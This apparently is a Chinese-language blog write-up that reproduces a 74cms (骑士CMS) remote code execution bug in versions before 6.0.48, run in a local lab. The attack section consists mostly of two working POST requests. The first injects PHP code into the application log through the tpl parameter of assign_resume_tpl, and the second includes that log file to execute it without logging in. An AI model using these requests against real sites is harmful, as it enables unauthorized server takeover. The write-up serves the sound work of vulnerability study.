骑士CMS模版注入+文件包含getshell复现

声明

好好学习，天天向上

漏洞描述

骑士cms人才系统，是一项基于PHP+MYSQL为核心开发的一套免费 + 开源专业人才网站系统。软件具执行效率高、模板自由切换、后台管理功能方便等诸多优秀特点。

骑士 CMS 官方发布安全更新，修复了一处远程代码执行漏洞。由于骑士 CMS 某些函数存在过滤不严格，攻击者通过构造恶意请求，配合文件包含漏洞可在无需登录的情况下执行任意代码，控制服务器。

影响范围

骑士 CMS < 6.0.48

复现过程

这里使用6.0.20版本

使用phpstudy小白皮，好用的1P

74cms下载地址

http://www.74cms.com/download/index.html

环境启动后，访问

http://192.168.31.61/upload/install.php

安装过程还是很简单的

安装后，访问

http://192.168.31.61/upload/index.php

使用火狐hackbar发送POST

http://192.168.31.61/upload/index.php?m=home&a=assign_resume_tpl

variable=1&tpl=<?php phpinfo(); ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

可以看到日志记录

包含这条日志，注意路径和日志名称

http://192.168.31.61/upload/index.php?m=home&a=assign_resume_tpl

variable=1&tpl=data/Runtime/Logs/Home/21_02_05.log